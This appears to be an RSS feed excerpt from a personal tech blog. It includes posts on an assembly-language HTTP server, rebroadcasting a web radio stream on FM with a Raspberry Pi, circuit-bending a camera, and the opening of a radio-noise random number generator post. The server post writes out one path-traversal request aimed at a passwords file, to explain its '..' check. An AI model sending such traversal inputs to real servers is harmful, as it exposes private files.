    CURLOPT_HTTPHEADER     =&gt; [
        &quot;Authorization: Bearer {$cf_api_token}&quot;,
        &quot;Content-Type: application/json&quot;,
    ],
]);

$response = json_decode(curl_exec($ch), true);
curl_close($ch);

header(&quot;Location: /?blehhhhh&quot;); // redirect to '/', should be blocked
echo &quot;Bye ;)&quot;;
</code></pre>
<p>Right now it only bans the bot's IP on <code>douxx.tech</code> (proxied through Cloudflare), but I plan to eventually implement it into an internal API to block across every domain I own, and maybe throw in some <code>iptables</code> rules too.</p>
<p>So yeah, I'll keep it running for a bit and see how many IPs we get.<br />
For the record, the first one to be banned is an IP from <a href="https://en.wikipedia.org/wiki/Tencent">Tencent</a> datacenters 🤡</p>
<p><img src="https://images.dbo.one/2e254199" alt="tencent ipban" />
<img src="https://images.dbo.one/28a91d76" alt="ip info screenshot" /></p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/b1aff310" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>Building a Web Server from Scratch (No, Actually)</title>
                <link>https://douxx.blog/building-a-web-server-from-scratch-no-actually</link>
                <pubDate>Mon, 16 Mar 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/building-a-web-server-from-scratch-no-actually</guid>
                                    <category>tech</category>
                                    <category>tutorial</category>
                                    <category>linux</category>
                                    <category>asm</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/building-a-web-server-from-scratch-no-actually">original post</a>.</em></p><p>When I say from scratch, I <em>mean</em> it. No frameworks, no <code>node_modules</code> taking 500MB of disk space, no runtime. Just you, and your Linux kernel.</p>
<h2 id="a-bit-of-context">A Bit of Context</h2>
<p>Exactly one week ago, I was in my NoSQL class, and got bored, like, really. And what does a sane person do when they're bored? Certainly not learn assembly. But that's what I did.</p>
<p>To be honest, the idea had been running on my mind for some time already. So I said to myself that it could be more interesting than reading papers about MongoDB, and looked for a guide.</p>
<p>I directly found <a href="https://github.com/0xAX/asm">this guide from Alex Kuleshov</a>, and started reading. That afternoon, I read about 3 posts instead of listening to my teacher, and then went home.</p>
<p>Since I didn't want to digest more theory that day, I decided to do some practice. You learn more from random <a href="https://en.wikipedia.org/wiki/Segmentation_fault">segfaults</a> than from pages of theory.</p>
<p>The guide didn't cover exercises + answers, so I decided to use the thing that will probably steal my job in a few years: <a href="https://claude.ai">Claude</a>. Even if it can't <em>(yet)</em> write good assembly code, it can create &quot;good&quot; exercises and correct them. So I spent the evening doing that.</p>
<p>The next day, I continued the course and read the final chapters. After that, I felt like I knew enough things but had clearly not enough practice.</p>
<p>And damn, I was so right.</p>
<p>I decided to create an HTTP client to train. Basically curl, but with no other feature than <code>get</code>-ing pages. It was a horror. Every time I took a step forward, I took three steps back due to code that stopped working, mostly because of those damn <a href="https://en.wikipedia.org/wiki/Processor_register">CPU registers</a> <code>&gt;:[</code></p>
<p>Well, after a bit of practice, I got something working:
<img src="https://images.dbo.one/c1012703/" alt="asmclient" /></p>
<p>One day passes, we're now Tuesday, 10AM. My next project was pretty obvious: a web server. What's the point of having a web client without one?</p>
<p>So in the rest of this article, I'll explain how I built <a href="https://nasmserver.douxx.tech/">NASMServer</a>, the 95% <a href="https://nasm.us">NetWide assembly</a> web server that runs <a href="https://douxx.tech">douxx.tech</a>.</p>
<blockquote>
<p>Quick note: I won't talk <em>assembly</em> in this article. It would require <em>you, the reader</em>, to have knowledge about it, and it isn't needed.</p>
</blockquote>
<p>Ok, let's start!</p>
<h2 id="the-basics">The Basics</h2>
<p>This article covers <strong>only</strong> x86_64 Linux. Any other OS or architecture would have different instructions.</p>
<p>I'll try to avoid talking directly in assembly, but I'll regularly add links to the relevant parts on the GitHub repo. You don't need assembly knowledge, but you might need some about Linux and programming in general.</p>
<p>Two things to keep in mind before we continue:</p>
<ul>
<li>In Linux, <a href="https://en.wikipedia.org/wiki/Everything_is_a_file">everything is a file</a> (<a href="https://dev.to/eteimz/everything-is-a-file-explained-g2a">Dev.to article</a>)</li>
<li>We talk to the Linux kernel using <a href="https://en.wikipedia.org/wiki/System_call">System Calls</a>, the <em>bridges</em> between our application and the hardware.</li>
</ul>
<p>Here's a system call in <a href="https://en.wikipedia.org/wiki/C_(programming_language)">C</a>:</p>
<pre><code class="language-c">#include &lt;unistd.h&gt;
#include &lt;sys/syscall.h&gt;

int main() {
    const char *msg = &quot;Hello, world!\n&quot;;
    syscall(SYS_write, 1, msg, 14);  // fd=1, buffer, length
}
</code></pre>
<p>And here's one in NASM:</p>
<pre><code class="language-assembly">_start:
    mov rax, 1    ; syscall number for write
    mov rdi, 1    ; fd = 1 (stdout)
    mov rsi, msg  ; buffer
    mov rdx, len  ; length
    syscall       ; call kernel
</code></pre>
<p>System calls will be the only thing we use for I/O, so make sure you're comfortable with them. Here's the <a href="https://filippo.io/linux-syscall-table/">full Linux x86_64 syscalls table</a> for reference.</p>
<h2 id="the-logic">The Logic</h2>
<p>Before writing a single line, you need to plan what the program will do and leave the <em>how</em> to your future self. Here's what I planned:</p>
<ul>
<li><input disabled="" type="checkbox"> Listen to a port</li>
<li><input disabled="" type="checkbox"> Wait for requests, and accept them</li>
<li><input disabled="" type="checkbox"> Read the content</li>
<li><input disabled="" type="checkbox"> Parse the HTTP request</li>
<li><input disabled="" type="checkbox"> Read the requested file</li>
<li><input disabled="" type="checkbox"> Send a HTTP response back, with the file content</li>
</ul>
<h2 id="listen-to-a-port">Listen To a Port</h2>
<p>The first thing we need is something clients can connect to and &quot;talk with us&quot;: a <a href="https://en.wikipedia.org/wiki/Network_socket">TCP Socket</a>. It's, well, a <em>file</em>, and it's basically the way the client says &quot;I'm here, and I want to talk to X application&quot;.</p>
<p><a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/program.asm#L82-L93">[-&gt; program.asm]</a></p>
<p>Creating the socket alone isn't enough though. It exists, it <em>can</em> do its job, but it isn't accessible to anyone yet. We need to bind it to a port and an interface.</p>
<p>The interface is one of the IP addresses available to the system: <code>127.0.0.1</code>, <code>192.168.x.x</code>, etc. To simplify our lives, we'll use <code>0.0.0.0</code>, &quot;listen on every interface&quot;. The port is a value between 1 and 65535, and HTTP usually lives on <code>80</code>.</p>
<p>We give the kernel the socket <a href="https://en.wikipedia.org/wiki/File_descriptor">file descriptor</a> and the interface + port to bind to. It either returns <code>0</code> (done), or a negative error code, usually meaning the port is already in use on the given interface, or we don't have enough permissions (<code>&lt; 1024</code> ports require root).</p>
<p>Finally, we tell the kernel we're ready to listen with the <a href="https://manpages.debian.org/unstable/manpages-dev/listen.2.en.html"><code>listen</code></a> syscall.
<a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/program.asm#L109-L127">[-&gt; program.asm]</a></p>
<p>To summarize:</p>
<ul>
<li>Create a socket: <a href="https://manpages.debian.org/unstable/manpages-dev/socket.2.en.html"><code>socket</code></a> syscall</li>
<li>Bind it: <a href="https://manpages.debian.org/unstable/manpages-dev/bind.2.en.html"><code>bind</code></a> syscall</li>
<li>Start listening: <a href="https://manpages.debian.org/unstable/manpages-dev/listen.2.en.html"><code>listen</code></a> syscall</li>
</ul>
<p>And just like that, we're reachable on <code>0.0.0.0:80</code>!</p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Listen to a port</del></li>
</ul>
<h2 id="wait-for-requests-and-accept-them">Wait For Requests, And Accept Them</h2>
<p>This is where the main loop lives:</p>
<pre><code class="language-plain">[Wait for a request] --&gt; [Accept it] --&gt; [Handle it (explained later)] --&gt; |
        ^------------------------------------------------------------------+
</code></pre>
<p>The <a href="https://manpages.debian.org/unstable/manpages-dev/accept.2.en.html"><code>accept</code></a> syscall handles both waiting (blocking) and accepting in one shot. And guess what it returns? A file!!
<a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/program.asm#L142-L156">[-&gt; program.asm]</a></p>
<p>That file is the private space where we and the client will talk to each other.</p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Wait for requests, and accept them</del></li>
</ul>
<h2 id="read-the-client-request">Read The Client Request</h2>
<p>The &quot;private space&quot; file contains the request the client wrote. Reading it is easy: use the <a href="https://manpages.debian.org/unstable/manpages-dev/read.2.en.html"><code>read</code></a> syscall and dump it into a buffer.</p>
<p><a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/program.asm#L222">[-&gt; program.asm]</a>
<a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/macros/fileutils.asm#L113-L121">[-&gt; fileutils.asm]</a></p>
<p>Then we check if it's a valid HTTP request. If not, we send back a <a href="https://developer.mozilla.org/de/docs/Web/HTTP/Reference/Status/400">400 Bad Request</a>. A very minimal valid request looks like:</p>
<pre><code class="language-plaintext">GET / HTTP/1.0
\r\n
</code></pre>
<p>Which breaks down to:</p>
<pre><code class="language-plaintext">&lt;METHOD&gt; &lt;path&gt; &lt;HTTP_VERSION&gt;
&lt;crlf&gt;
</code></pre>
<p>As a static server, we only handle <code>GET</code>, and anything else gets a <a href="https://developer.mozilla.org/de/docs/Web/HTTP/Reference/Status/405">405 Method Not Allowed</a>. If the method is valid, we parse the path and append it to the <strong>document root</strong> (e.g. <code>/var/www/html</code>), which is the directory we'll be serving files from.</p>
<p>One important thing: path traversal prevention. In Linux, <code>..</code> means &quot;go to the previous directory&quot;, so a path like <code>/../../../opt/sensitive/passwords.txt</code> appended to <code>/var/www/html</code> would resolve to <code>/opt/sensitive/passwords.txt</code>. Not great. We simply check for any <code>..</code> in the path and drop the request with a <a href="https://developer.mozilla.org/de/docs/Web/HTTP/Reference/Status/403">403 Forbidden</a> if we find one.</p>
<p><a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/program.asm#L221-L278">[-&gt; program.asm]</a>
<a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/macros/httputils.asm">[-&gt; httputils.asm]</a></p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Read the content</del></li>
<li><input checked="" disabled="" type="checkbox"> <del>Parse the HTTP request</del></li>
</ul>
<h2 id="read-the-requested-file">Read The Requested File</h2>
<p>We have a safe path, now let's actually get the file. A couple of things to handle first.</p>
<p>If the client requested <code>/</code>, we'd end up with <code>/var/www/html/</code>, figure out it's a directory, and go crazy. So we <em>internally</em> append an index file (e.g. <code>/index.html</code>) to the path (no redirecting the client, I see you bad programs). This works for subdirectories too: <code>/home/</code> becomes <code>/home/index.html</code>.</p>
<p>&quot;But what about directories that don't end with <code>/</code>?&quot;. Fair point, and we'll get there. For now, let's move on.</p>
<p>We use the <a href="https://manpages.debian.org/unstable/manpages-dev/stat.2.en.html"><code>stat</code></a> syscall to check if the file exists and what type it is:</p>
<ul>
<li>Doesn't exist → <a href="https://developer.mozilla.org/de/docs/Web/HTTP/Reference/Status/404">404 Not Found</a></li>
<li>It's a directory → the trailing slash was missing, add it and loop back to the index-appending step</li>
<li>It's a regular file but not readable → <a href="https://developer.mozilla.org/de/docs/Web/HTTP/Reference/Status/403">403 Forbidden</a></li>
<li>Otherwise → continue!</li>
</ul>
<p><a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/program.asm#L280-L326">[-&gt; program.asm]</a>
<a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/macros/fileutils.asm">[-&gt; fileutils.asm]</a></p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Read the requested file</del></li>
</ul>
<h2 id="send-the-response">Send The Response</h2>
<p>All edge cases handled, time to actually send something. We write to the &quot;private space&quot; file, starting with the HTTP header:</p>
<pre><code class="language-plaintext">HTTP/1.0 200 OK
Server: NASMServer/1.0
Content-Type: text/html
Content-Length: 1442
Connection: close

[file content]
</code></pre>
<p>Breaking it down:</p>
<ol>
<li><code>HTTP/1.0 200 OK</code>: static string, HTTP version + status code</li>
<li><code>Server: NASMServer/1.0</code>: not required, but nice to have</li>
<li><code>Content-Type: text/html</code>: tells the client what it's receiving, must follow <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/MIME_types">Media Types</a> format</li>
<li><code>Content-Length: 1442</code>: byte count of the response, grabbed from <a href="https://manpages.debian.org/unstable/manpages-dev/stat.2.en.html"><code>stat</code></a></li>
<li><code>Connection: close</code>: we won't keep the connection alive after sending</li>
<li><code>\r\n</code>: blank line separating header from body. HTTP uses <a href="https://developer.mozilla.org/en-US/docs/Glossary/CRLF"><code>CRLF</code></a></li>
</ol>
<p>We write the header with <a href="https://manpages.debian.org/unstable/manpages-dev/write.2.en.html"><code>write</code></a>, send the file content with <a href="https://manpages.debian.org/unstable/manpages-dev/sendfile.2.en.html"><code>sendfile</code></a> (no manual copying needed), then close up with:</p>
<ol>
<li><a href="https://manpages.debian.org/unstable/manpages-dev/shutdown.2.en.html"><code>shutdown</code></a>: tell the client we're done</li>
<li><a href="https://manpages.debian.org/unstable/manpages-dev/close.2.en.html"><code>close</code></a>: close the connection</li>
</ol>
<p>Then jump back to waiting. <code>:D</code></p>
<p><a href="https://github.com/douxxtech/nasmserver/blob/0f7cab0cbe27963e078fb7257371919416c107b9/program.asm#L496-L562">[-&gt; program.asm]</a></p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Send a HTTP response back, with the file content</del></li>
</ul>
<p>And just like that, we have a <strong>working HTTP 1.0 static file server</strong>!!</p>
<h2 id="and-now">And Now?</h2>
<p>I lied, but not entirely. This works, but it wouldn't survive being spammed. There's no proper per-request handling, so a request coming in while another is being processed will either be queued or dropped.</p>
<p>The fix is to <a href="https://manpages.debian.org/unstable/manpages-dev/fork.2.en.html">fork</a> the process on each request, and the main process immediately goes back to waiting while the clone handles it. I won't go into detail here, but the code is there if you want to look!</p>
<p>Other improvements are possible too, but this post only covers the basics. If you're interested, consider reading, starring, or contributing!
<a href="https://git.douxx.tech/nasmserver/">Github:douxxtech/nasmserver</a></p>
<p>The logic explanation ends here, feel free to leave now. Otherwise, let's talk numbers.</p>
<h2 id="how-fast-is-it">How Fast Is It?</h2>
<p>Three servers, three environments, same file, no TLS:</p>
<ul>
<li><strong>NASMServer</strong>: fully built in assembly</li>
<li><strong>BusyBox HTTPD</strong>: a really small HTTP server</li>
<li><strong>Apache2</strong>: one of the most used web servers</li>
</ul>
<p>Speed measured with cURL:</p>
<pre><code class="language-bash">curl -o /dev/null -s -w &quot;
DNS: %{time_namelookup}s
Connect: %{time_connect}s
TLS: %{time_appconnect}s
Start Transfer: %{time_starttransfer}s
Total: %{time_total}s
\n&quot; http://localhost
</code></pre>
<blockquote>
<p>Each command is run 10 times, results are averaged.</p>
</blockquote>
<p>Environments:</p>
<ol>
<li><code>localhost</code>: staying on the machine</li>
<li>Windows &lt;&gt; WSL: servers running in Fedora WSL, testing the virtual interface</li>
<li>Local network: fetching over LAN</li>
</ol>
<h3 id="results">Results</h3>
<table>
<thead>
<tr>
<th>Server</th>
<th>Localhost</th>
<th>Windows Host</th>
<th>Network</th>
<th>Average</th>
</tr>
</thead>
<tbody>
<tr>
<td>BusyBox HTTPD</td>
<td>0.0004677s</td>
<td>0.0075919s</td>
<td>0.0038408s</td>
<td>0.0039668s</td>
</tr>
<tr>
<td>NASMServer</td>
<td>0.0005997s</td>
<td>0.0082924s</td>
<td>0.0076072s</td>
<td>0.0054998s</td>
</tr>
<tr>
<td>Apache2</td>
<td>0.0004769s</td>
<td>0.0102861s</td>
<td>0.0062916s</td>
<td>0.0056849s</td>
</tr>
</tbody>
</table>
<p><strong>BusyBox HTTPD</strong> wins across the board. NASMServer holds its own on localhost but falls behind on the network. Apache2 is the slowest on the Windows host by a noticeable margin, which makes sense given its heavier feature set.</p>
<blockquote>
<p>NASMServer and Apache2 being slower over WSL than over LAN is likely due to WSL's virtual network interface adding overhead that a direct LAN connection doesn't have. Not 100% sure on that though.</p>
</blockquote>
<h2 id="the-final-words">The Final Words</h2>
<p>I really loved building this project, writing this article, and learning assembly. I'll keep updating the server, so if you have feature ideas, bug reports, etc. feel free to reach out via <a href="https://git.douxx.tech/nasmserver">GitHub issues</a>, the <a href="https://dev.to/douxxtech/building-a-web-server-from-scratch-no-actually-2o38">dev.to</a> comments, or <a href="mailto:douxx@douxx.tech">mail</a>!</p>
<p>Would I recommend NASMServer in production? For god's sake, <strong>NO!</strong>
Did I do it? <em>Maybe.</em>
Will I regret it? <em>Surely.</em></p>
<p>But remember, I started this because I was bored in a NoSQL class.</p>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/adfb38d8" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>Bringing Web Radios Back to FM</title>
                <link>https://douxx.blog/bringing-web-radios-back-to-fm</link>
                <pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/bringing-web-radios-back-to-fm</guid>
                                    <category>radio</category>
                                    <category>internet</category>
                                    <category>tutorial</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/bringing-web-radios-back-to-fm">original post</a>.</em></p><p>When going on vacation, I listen to local radios stations using a small portable radio that I bring with me. I absolutely love doing this as the music often changes of what I'm used to, and it makes me discover new things.</p>
<p>One of those radios I love listening to is the <a href="https://rtl.it">RTL 102.5</a>, an italian radio. I always listen to it when I go on a trip in Italy. However, it only is a national station and doesn't broadcast in other countries such as Switzerland.</p>
<p>A good way of continuing to listen to programs that aren't broadcasted on FM are <a href="https://en.wikipedia.org/wiki/Internet_radio">web radios</a>, and you'll ask me, why don't I want to listen to them ? They're near perfection, they're live, have a good audio quality, and much more !<br />
And the answer is in the question. <em>They're perfect</em>. I find that this perfection breaks the charm of FM. Having lossless 96kHz in your headset doesn't have the same <em>vibe</em> at all than getting a signal from a tower being at hundreds of kilometers from your tiny 15 bucks portable radio.</p>
<p>So in this article, I'll try to <strong>take a live stream from the RTL 102.5 web radio, and broadcast it in my house, on FM</strong>.</p>
<p>As always, here is an overview of what I'll be doing:</p>
<ul>
<li><input disabled="" type="checkbox"> Finding a way of broadcasting FM on a short range</li>
<li><input disabled="" type="checkbox"> Getting the audio source for the web radio stream</li>
<li><input disabled="" type="checkbox"> Putting both together</li>
<li><input disabled="" type="checkbox"> Automate everything</li>
<li><input disabled="" type="checkbox"> Enjoy !</li>
</ul>
<h2 id="figuring-out-what-i-even-need">Figuring Out What I Even Need</h2>
<p>As I just said, I only need two things:</p>
<ul>
<li>A device being able to broadcast FM radio</li>
<li>A stream from where I can get the live radio feed</li>
</ul>
<p>And great news, I already have an idea on how to get them !</p>
<h3 id="1-the-broadcaster">1: The broadcaster</h3>
<p>This is the easiest part of this article, since I literally made a software being able to do that, and I won't hesitate to use it !</p>
<p>For those who don't know it, it's <a href="https://git.douxx.tech/botwave/">BotWave</a>, a software that lets you easily play files and live feeds on FM using a <a href="https://raspberrypi.com">Raspberry Pi</a>.</p>
<h3 id="2-the-source">2: The source</h3>
<p>What I initially wanted to do was simple: Go to <a href="https://radio-browser.info">radio-browser.info</a>, a library of almost every &quot;big&quot; web radios that documents a lot of information about them, but more importantly, the stream url.</p>
<p>So I went on the website, searched for RTL 102.5, found it, and got this stream url:<br />
<code>https://dd782ed59e2a4e86aabf6fc508674b59.msvdn.net/live/S97044836/tbbP8T1ZRPBL/playlist_audio.m3u8</code></p>
<p>Sadly, once I opened it up in my browser, I saw that it was a dead link and that nothing was served anymore :/</p>
<p>So it's time for the fallback plan ! Find the stream url directly on the website !<br />
It sounds like an epic thing, but it's really not much, I just went on the website player, and then checked for any <code>m3u</code> files in the network tab of the devtools.</p>
<p><img src="https://images.dbo.one/a025e208/" alt="The network tab" /></p>
<p>And I found it:<br />
<code>https://streamcdnb1-dd782ed59e2a4e86aabf6fc508674b59.msvdn.net/live/S97044836/WjpMtPyNjHwj/playlist_audio.m3u8</code></p>
<p>And this one <em>actually</em> works !</p>
<p>Ok so just like that, we got the first two points:</p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Finding a way of broadcasting FM on a short range</del></li>
<li><input checked="" disabled="" type="checkbox"> <del>Getting the audio source for the web radio stream</del></li>
</ul>
<h2 id="getting-that-stream-on-fm">Getting That Stream on FM</h2>
<p>I already had an idea on how to do that, but I'll have to check if it works. I'm planning on using <a href="https://ffmpeg.org">FFmpeg</a>, basically the swiss-knife of audio, video, and image editing.</p>
<h3 id="step-1-test-it">Step 1: Test it</h3>
<p>I'll start by trying to record 5 seconds of the stream, and put them in a <code>.wav</code> file.<br />
And, surprisingly, I succeeded first try, which is pretty unusual :]</p>
<p>Here is the command:</p>
<pre><code class="language-bash">ffmpeg -i &quot;https://streamcdnb1-dd782ed59e2a4e86aabf6fc508674b59.msvdn.net/live/S97044836/WjpMtPyNjHwj/playlist_audio.m3u8&quot; -t 5 test.wav
</code></pre>
<p>It takes the stream in input, and converts 5 seconds of it in the wave format to save it !</p>
<h3 id="step-2-put-it-into-practice">Step 2: Put it Into Practice</h3>
<p>BotWave exposes a sound card in which we can input audio, and it will play it live. So all we have to do is, instead of outputting the audio into a wave file, we output it directly in the sound card !</p>
<pre><code class="language-bash">ffmpeg -i &quot;https://streamcdnb1-dd782ed59e2a4e86aabf6fc508674b59.msvdn.net/live/S97044836/WjpMtPyNjHwj/playlist_audio.m3u8&quot; -f alsa plughw:BotWave
</code></pre>
<p>I removed the time limit so it plays indefinitely, and the other stuff redirects the sound to the sound card.</p>
<h3 id="step-3-broadcasting-it">Step 3: Broadcasting it</h3>
<p>The last step is actually telling the software to take the card output and broadcast it.</p>
<pre><code class="language-bash">sudo bw-local
botwave&gt; live 102.5 &quot;RTL 102.5&quot; &quot;aka.dbo.one/webtofm&quot;
botwave&gt; # This plays at 102.5 FM, with the name and desc
</code></pre>
<p>Now let's check if we got anything on radio !</p>
<p><img src="https://images.dbo.one/18503ffc/" alt="" /></p>
<p>And yes ! We can see the broadcast on the spectrum, and if we stop the broadcast, it disappears:</p>
<p><img src="https://images.dbo.one/ff7d526f/" alt="" /></p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Putting both together</del></li>
</ul>
<h2 id="automating-everything">Automating Everything</h2>
<p>It works, but currently it's kinda painful to setup, we need to get into the pi shell, two times actually, run ffmpeg and then BotWave, and leave it open.</p>
<p>So what I'll do is automating it, and it's surprisingly simple !</p>
<p>First, I'll create a file that will execute at the moment where BotWave starts.</p>
<pre><code class="language-bash">sudo bw-nandl l_onready_webtofm.hdl
</code></pre>
<p><img src="https://images.dbo.one/0a8e1649/" alt="nano editor" /></p>
<p>Inside, I put the ffmpeg command and the live instruction, so this will run ffmpeg in the background, and then start the broadcast automatically.</p>
<p>Now, when we run <code>bw-local</code>, the broadcast will automatically start. This removed one step of the process, but we still have to open a shell and run the command. So let's also automate this.</p>
<pre><code class="language-bash">sudo bw-autorun local --ws 9939
</code></pre>
<p>This will make a systemd service that automatically starts BotWave on boot. It also opens a remote connection on port <code>9939</code> so I can still manually send commands if needed.</p>
<p>And we're done !</p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Automate everything</del></li>
</ul>
<p>And now, I'm able again to take my 15 bucks radio, tune it to 102.5MHz, and listen to it with a less perfect, but more charming audio quality, where and when I want :D</p>
<p><img src="https://images.dbo.one/9577090e/" alt="picture of the Raspberry Pi and the radio" /></p>
<p><em>Picture taken with my <a href="https://douxx.blog/circuit-bending-a-camera">circuit bent camera</a>, btw</em></p>
<ul>
<li><input checked="" disabled="" type="checkbox"> <del>Enjoy !</del></li>
</ul>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/22c2ccaf" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>Circuit Bending a Camera</title>
                <link>https://douxx.blog/circuit-bending-a-camera</link>
                <pubDate>Mon, 23 Feb 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/circuit-bending-a-camera</guid>
                                    <category>circuitery</category>
                                    <category>electronics</category>
                                    <category>art</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/circuit-bending-a-camera">original post</a>.</em></p><p>I bought a toy camera.
<img data-lazy-src="https://images.dbo.one/0a0a8a9b" width="400"></p>
<p>And then dismantled it.
<img data-lazy-src="https://images.dbo.one/7c710936" width="400"></p>
<p>Why? Because I wanted to try something called <strong><a href="https://en.wikipedia.org/wiki/Circuit_bending">circuit bending</a></strong>. As said on Wikipedia, it consists in modifying the circuits in electronic devices. I recently saw some people circuit bending cameras, and I found it pretty cool. So I decided to try it! (And also document it on here)</p>
<p>The goal is to <strong>make the camera produce <em>real</em> glitchy, unpredictable effects</strong>.</p>
<h2 id="bending-the-circuit">Bending the circuit</h2>
<p>This was fairly easy, I just had to <strong>access the camera pins</strong> and <strong>short them together</strong>.</p>
<p>I started by removing all the foam pads and the battery as I don't enjoy working with boards with batteries soldered on. I removed the speaker as well since I don't have any use for it.</p>
<img data-lazy-src="https://images.dbo.one/485b8cdd" width="400">
<h3 id="finding-pins-to-short-together">Finding pins to short together</h3>
<p>Next step was to find pins to connect together. For this I used a jumper wire to connect them and witness the effects in real time on the screen. Shorting data pins interrupts or alters the signal flow between the image sensor and the processor, causing the camera to misinterpret or corrupt the image data.</p>
<img data-lazy-src="https://images.dbo.one/edcde05b" width="400">
<p>After some time playing around, I found two pairs of pins:</p>
<pre><code>D5&lt;&gt;D6
D4&lt;&gt;HSYNC
</code></pre>
<blockquote>
<p><code>D</code> lines are data lines, and <code>HSYNC</code> is the horizontal lines sync signal. Connecting them causes the camera to mix timings and color data.</p>
</blockquote>
<p>Linking those gave some neat effects, so I decided to go with it.</p>
<h3 id="soldering">Soldering</h3>
<p>There isn't much to say here, I simply soldered the connectors and it worked :)</p>
<img data-lazy-src="https://images.dbo.one/fdf3b46f" width="400">
<p>After that, I soldered back the battery and put everything back together. Except the speaker, because I <em>really</em> don't need it.</p>
<p>And just like that, I had a working circuit-bent camera!</p>
<img data-lazy-src="https://images.dbo.one/ceca1e4e" width="400">
<h2 id="the-result">The result</h2>
<p>With the connections I made, the camera now has glitchy horizontal lines, often green, and buggy colors.</p>
<p>I discovered that the camera has different shooting modes, but I have no idea what they were originally meant to do, since I never tested it before &quot;breaking&quot; it :'|</p>
<p>Shooting with it is quite interesting to say the least. You never really know if the shot is good or not, since the image changes every frame, even if the camera doesn't move. Talking of frames, this cheap camera has a framerate of about 2fps, it's awful.</p>
<p>Anyway, here's what it sees now:</p>
<div style="display:grid;grid-template-columns:repeat(4,1fr);gap:4px">
  <img data-lazy-src="https://images.dbo.one/4a7c3404" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/dd38a468" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/4301d579" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/d24b00db" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/40ad3b06" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/5e02c641" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/7b3e0a99" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/90e1a070" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/41fb8bbb" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/6a72eacf" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/8f992312" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/6222bd2c" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/aee06325" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/4101b3d2" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/500a860f" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/a36e66d4" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/855e5a61" style="width:100%">
  <img data-lazy-src="https://images.dbo.one/35650f97" style="width:100%">
</div>
<hr />
<p>Tiny side note, here are some useful videos about circuit bending that you might want to take a look at:</p>
<ul>
<li><a href="https://youtu.be/kJfTdD_5XyE">An Intro to Circuit Bending</a></li>
<li><a href="https://youtu.be/iJslS16d5Ug">Turning a Toy Camera into a LoFi Glitch Art Machine</a></li>
<li><a href="https://youtu.be/upvN1o7TmLU">How to circuit bend a camera (Basic)</a></li>
</ul>
]]></content:encoded>
                                    <media:content url="https://images.dbo.one/da62de99" medium="image"
                        type="image/png" />
                            </item>
                    <item>
                <title>How I Built a Random Number Generator (Sort Of)</title>
                <link>https://douxx.blog/how-i-built-a-random-number-generator-sort-of</link>
                <pubDate>Sun, 08 Feb 2026 00:00:00 +0000</pubDate>
                                <guid>https://douxx.blog/how-i-built-a-random-number-generator-sort-of</guid>
                                    <category>python</category>
                                    <category>sdr</category>
                                    <category>radio</category>
                                                <content:encoded><![CDATA[<p><em>Some features may only be available on the <a href="https://douxx.blog/how-i-built-a-random-number-generator-sort-of">original post</a>.</em></p><blockquote>
<p><strong>TL;DR</strong>: I made an Hybrid Hardware Random Number Generator (HHRNG) using radio noise. You can find the full source code on <a href="https://git.douxx.tech/rfdom/">my GitHub</a>.</p>
</blockquote>
<p>Generating randomness is fascinating, and I always wanted to go deeper than just importing some library into my python project and calling <code>.random()</code>. So I set out to build my own library with its own <code>.random()</code> function. Revolutionary, I know.</p>
<p>But I didn't want to just cobble together pseudo-random values. I wanted to build a <strong>hardware random number generator</strong> (HRNG): one that uses actual physical processes to generate entropy. Think Linux's <code>/dev/random</code>, which harvests entropy from environmental noise: keyboard timings, mouse movements, disk I/O patterns. Windows also have a component named <strong>CNG</strong> (Cryptography Next Generation) that uses similar inputs.</p>
<p>When I hear <em>noise</em>, the first thing that comes to mind is this:<br />
<img alt="Radio noise" src="https://images.dbo.one/43bb815d/" width=300 /><br />
